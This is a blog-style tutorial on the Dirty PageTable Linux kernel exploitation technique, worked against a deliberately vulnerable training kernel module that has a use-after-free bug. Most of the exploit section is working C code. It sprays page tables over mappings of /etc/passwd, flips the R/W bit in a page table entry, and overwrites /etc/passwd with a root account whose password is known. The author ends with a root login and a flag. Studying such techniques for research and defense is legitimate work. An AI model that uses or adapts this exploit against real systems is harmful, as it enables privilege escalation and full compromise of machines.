Linux Kernel Exploitation - Dirty PageTable
In this post, I will explain Dirty PageTable, a universal and data-only exploitation technique that allows us to gain arbitrary read and write access to the entire physical memory. Download the handouts beforehand.
Analysis
The vulnerable LKM provides four commands: CMD_ALLOC
, CMD_READ
, CMD_WRITE
, and CMD_FREE
. These commands are used to allocate, read from, write to, and free objects defined as follows:
1
2
3
4
5
#define OBJ_SIZE 0x200
struct obj {
char buf[OBJ_SIZE];
};
Note that obj_alloc
and obj_free
internally use kmem_cache_zalloc
and kmem_cache_free
, respectively. This means a dedicated cache is used for managing these objects:
1
2
3
4
5
6
7
8
9
10
static long obj_alloc(int id) {
if (objs[id] != NULL) {
return -1;
}
objs[id] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL);
if (objs[id] == NULL) {
return -1;
}
return 0;
}
1
2
3
4
static long obj_free(int id) {
kmem_cache_free(obj_cachep, objs[id]);
return 0;
}
Bugs
In obj_free
, objs[id]
, which is a reference to a freed memory region, is not cleared:
1
2
3
4
static long obj_free(int id) {
kmem_cache_free(obj_cachep, objs[id]);
return 0;
}
This results in an obvious UAF. Since we already have read and write primitives, It is not difficult to control RIP and escalate privileges by performing cross-cache attack, as explained in the previous post. However, in this post, we take a data-only approach using Dirty Pagetable. Data-only attacks are increasingly important in the current era (due to CONFIG_CFI_CLANG) and are widely used in real-world kernel exploits.
Dirty PageTable
As explained in the previous post, by using cross-cache attack, we can overlap victim objects with arbitrary kernel objects. In Dirty PageTable, we overlap victim objects with page tables. Since we already have read and write primitives, we can modify page tables as we like, resulting in arbitrary read and write access to the entire physical memory.
Exploitation
The initial steps are the same as in the previous post. The difference is in the fourth step, where we allocate a large number of page tables:
1
2
3
4
5
6
7
8
9
10
11
int file_fd = open("/etc/passwd", O_RDONLY);
assert(file_fd != -1);
puts("[*] Spraying user pagetables to reclaim order-0 pages");
for (int i = 0; i < NUM_PAGE_TABLE_SPRAY ; i++) {
if (mmap((void *)(0xdead0000000UL + 0x200000 * i), PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED_NOREPLACE, file_fd, 0) == MAP_FAILED) {
printf("[-] Failed to mmap %#lx\n", 0xdead0000000UL + 0x200000 * i);
exit(1);
}
*(volatile char*)(0xdead0000000UL + 0x200000 * i);
}
Here, we map /etc/passwd to user space. Note that we use MAP_FIXED_NOREPLACE
flag and read from the page to ensure the page mapping is new and actually mapped.
Next, we locate the victim object and modify the PTE:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned long pte;
int victim = -1;
for (int i = 0; i < num_spray; i += objs_per_slab * 2) {
obj_read(i, (char *)&pte, 8);
if (pte != 0) {
victim = i;
printf("[+] Found victim = %d, pte = %#lx\n", victim, pte);
pte |= 0x2;
printf("[*] Overwritting PTE with %#lx\n", pte);
obj_write(victim, (char *)&pte, 8);
break;
}
}
if (victim == -1) {
puts("[-] Failed to locate the victim object");
exit(0);
}
Here, we enable the R/W flag. After this, we can modify /etc/passwd, even though the page was initially mapped as read-only. See the osdev article for more details about paging.
Finally, we overwrite /etc/passwd (j9ep0CjBGivAnD5z6l5rr0
is MD5-encoded password with salt deadbeef
):
1
2
3
4
5
6
7
8
9
10
11
12
13
system("echo -e 'root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/sh' > /tmp/evil");
int evil_fd = open("/tmp/evil", O_RDONLY);
assert(evil_fd != -1);
struct stat evil_stat;
assert(fstat(evil_fd, &evil_stat) != -1);
for (int i = 0; i < NUM_PAGE_TABLE_SPRAY ; i++) {
if (pread(evil_fd, (char *)(0xdead0000000UL + 0x200000 * i), evil_stat.st_size, 0) != -1) {
puts("[+] Success");
puts("[+] You can now log in as root with the password: cafebabe");
exit(0);
}
}
Note that we use pread
to ignore SIGSEGV
. If we directly write to memory and the corresponding PTE is not valid, the program will exit.
By running this exploit, we can log in as a root user and see the flag:
References
The original article, Nicolas Wu. Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel. https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html seems to be broken now.
- Jann Horn. 2021. How a simple Linux kernel memory corruption bug can lead to complete system compromise. https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html